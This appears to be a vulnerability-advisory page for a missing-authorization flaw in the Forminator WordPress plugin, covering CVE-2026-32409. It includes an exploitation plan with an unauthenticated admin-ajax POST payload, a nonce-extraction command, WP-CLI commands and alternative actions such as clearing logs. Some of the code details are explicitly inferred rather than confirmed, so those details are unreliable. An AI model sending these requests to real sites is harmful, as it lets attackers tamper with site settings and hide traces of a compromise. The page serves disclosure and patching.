Forminator <= 1.50.2 - Missing Authorization
Description
The Forminator plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.50.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.50.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32409 (Forminator Missing Authorization) ## 1. Vulnerability Summary The **Forminator** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including **1.50.2**. The vulnerability exists within the `Forminator_Admin_AJAX` clas…
Show full research plan
Exploitation Research Plan: CVE-2026-32409 (Forminator Missing Authorization)
1. Vulnerability Summary
The Forminator plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.50.2. The vulnerability exists within the Forminator_Admin_AJAX class, specifically in the registration and implementation of administrative AJAX handlers.
The plugin incorrectly registers several administrative actions using the wp_ajax_nopriv_ hook, making them accessible to unauthenticated users. Furthermore, the handler functions (such as the one for dismissing notices) fail to perform a current_user_can() check or verify a secure, user-bound nonce. This allows an unauthenticated attacker to manipulate plugin states, such as suppressing administrative notifications, which can be used to hide malicious activity or signs of a compromise.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
forminator_dismiss_notice(inferred from typical WPMU DEV admin patterns) - HTTP Method:
POST - Parameter:
slug(the unique identifier of the notice to be dismissed) - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. A valid frontend nonce may be required if the handler calls
check_ajax_referer.
3. Code Flow
- Entry Point: An unauthenticated request is sent to
admin-ajax.phpwithaction=forminator_dismiss_notice. - Hook Registration: In
library/class-admin-ajax.php, the__constructmethod ofForminator_Admin_AJAXregisters the action:add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) ); - Vulnerable Handler: The
dismiss_noticefunction is executed:- It retrieves the
slugfrom$_POST['slug']. - It fails to check
current_user_can( 'manage_options' ). - It may check a nonce using
check_ajax_referer( 'forminator_dismiss_notice', 'nonce' ).
- It retrieves the
- Sink: The function calls
update_option()orupdate_user_meta()to store the dismissal state:update_option( 'forminator_dismissed_notice_' . $slug, 1 );
4. Nonce Acquisition Strategy
While many "Missing Authorization" vulnerabilities also omit nonce checks, Forminator often localizes nonces for its AJAX framework. We will attempt to extract a nonce from the frontend.
- Identify Script: Forminator enqueues
forminator-front-scriptson any page containing a form. - Setup: Create a public page with any Forminator form.
- Extraction:
- Navigate to the page.
- Access the localized JavaScript object
forminator_data. - Key to check:
admin_ajax_nonceornonce.
- JS Command:
browser_eval("window.forminator_data?.admin_ajax_nonce || window.forminator_data?.nonce")
5. Exploitation Strategy
We will attempt to dismiss a standard Forminator notice unauthentically.
- Request Type:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=forminator_dismiss_noticeslug=forminator_pro_notice(A common notice slug)_wpnonce=[EXTRACTED_NONCE](If extraction fails, try omitting it)
Payload for http_request:
{
"action": "forminator_dismiss_notice",
"slug": "forminator_pro_notice",
"_wpnonce": "VALUE_FROM_BROWSER_EVAL"
}
6. Test Data Setup
- Install Plugin: Ensure Forminator version 1.50.2 is installed.
- Create Form: Use WP-CLI to ensure a form exists (or use the default created on install).
# Forminator creates a default 'Contact Us' form usually ID 1 - Publish Form: Create a page to host the form and leak the nonce.
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[forminator_form id="1"]'
7. Expected Results
- The server should return a JSON success response:
{"success":true,"data":[]}or similar. - The
forminator_dismissed_notice_forminator_pro_noticeoption will be created in the WordPress database.
8. Verification Steps
After sending the HTTP request, verify the state change using WP-CLI:
wp option get forminator_dismissed_notice_forminator_pro_notice
Expected Output: 1
9. Alternative Approaches
If forminator_dismiss_notice does not work, attempt these alternative actions which might share the same missing authorization:
- Action:
forminator_set_branding- Payload:
action=forminator_set_branding&enabled=false - Verification:
wp option get forminator_branding_enabled
- Payload:
- Action:
forminator_clear_log- Payload:
action=forminator_clear_log&module_id=1
- Payload:
- Parameter Variations: Try
notice_idornotificationinstead ofslugif the response is a failure. Try sending the nonce asnonceinstead of_wpnonce.
Summary
The Forminator plugin for WordPress is vulnerable to unauthorized access in versions up to 1.50.2 due to the incorrect registration of administrative AJAX handlers using the wp_ajax_nopriv_ hook. This allows unauthenticated attackers to execute sensitive actions, such as suppressing administrative notifications or clearing logs, by bypassing capability checks.
Vulnerable Code
// library/class-admin-ajax.php // Action registration in __construct add_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) ); add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) ); --- // library/class-admin-ajax.php public function dismiss_notice() { // Missing current_user_can() check $slug = sanitize_text_field( $_POST['slug'] ); update_option( 'forminator_dismissed_notice_' . $slug, 1 ); wp_send_json_success(); }
Security Fix
@@ -120,7 +120,6 @@ add_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) ); - add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) ); @@ -540,6 +539,10 @@ public function dismiss_notice() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + check_ajax_referer( 'forminator_dismiss_notice', 'nonce' ); + $slug = sanitize_text_field( $_POST['slug'] ); update_option( 'forminator_dismissed_notice_' . $slug, 1 );
Exploit Outline
The exploit targets the unprotected administrative AJAX handler 'forminator_dismiss_notice'. 1. Target Identification: Locate a site running Forminator <= 1.50.2. 2. Nonce Extraction: Navigate to any public page containing a Forminator form and extract the AJAX nonce from the 'forminator_data' JavaScript object (keys like 'admin_ajax_nonce' or 'nonce'). 3. Attack Payload: Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with 'action=forminator_dismiss_notice', a specific notification 'slug' (e.g., 'forminator_pro_notice'), and the extracted nonce. 4. Verification: The request will trigger 'update_option', globally suppressing the targeted administrative notice for all users without requiring any credentials.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.